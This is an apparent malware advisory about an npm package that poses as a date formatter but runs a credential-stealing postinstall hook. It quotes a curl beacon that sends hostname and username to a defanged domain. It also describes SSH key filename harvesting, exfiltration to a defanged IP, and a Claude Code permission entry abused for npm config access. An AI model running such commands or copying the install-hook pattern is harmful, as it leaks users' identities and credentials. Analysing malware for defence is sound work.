houzidawang806@1.0.1

Analysis

This package is disguised as a date-formatting utility but delivers a credential-theft implant. Its postinstall hook runs `curl hxxp://275e856d[.]log[.]dnslog[.]pp[.]ua/pre?h=$(hostname)&u=$(whoami)`, beaconing the installer's hostname and username to a DNS-logging domain. Its bundled postinstall.js reads ~/.ssh directory contents for private-key filenames, scrapes os.userInfo() (username, platform), and POSTs the stolen data to C2 at IP 124[.]221[.]154[.]135 over HTTPS. A `.claude/settings.local.json` file grants Claude Code permission to run `PowerShell(npm config *)`, enabling npm token manipulation. The index.js exports a trivial formatDate function as a decoy.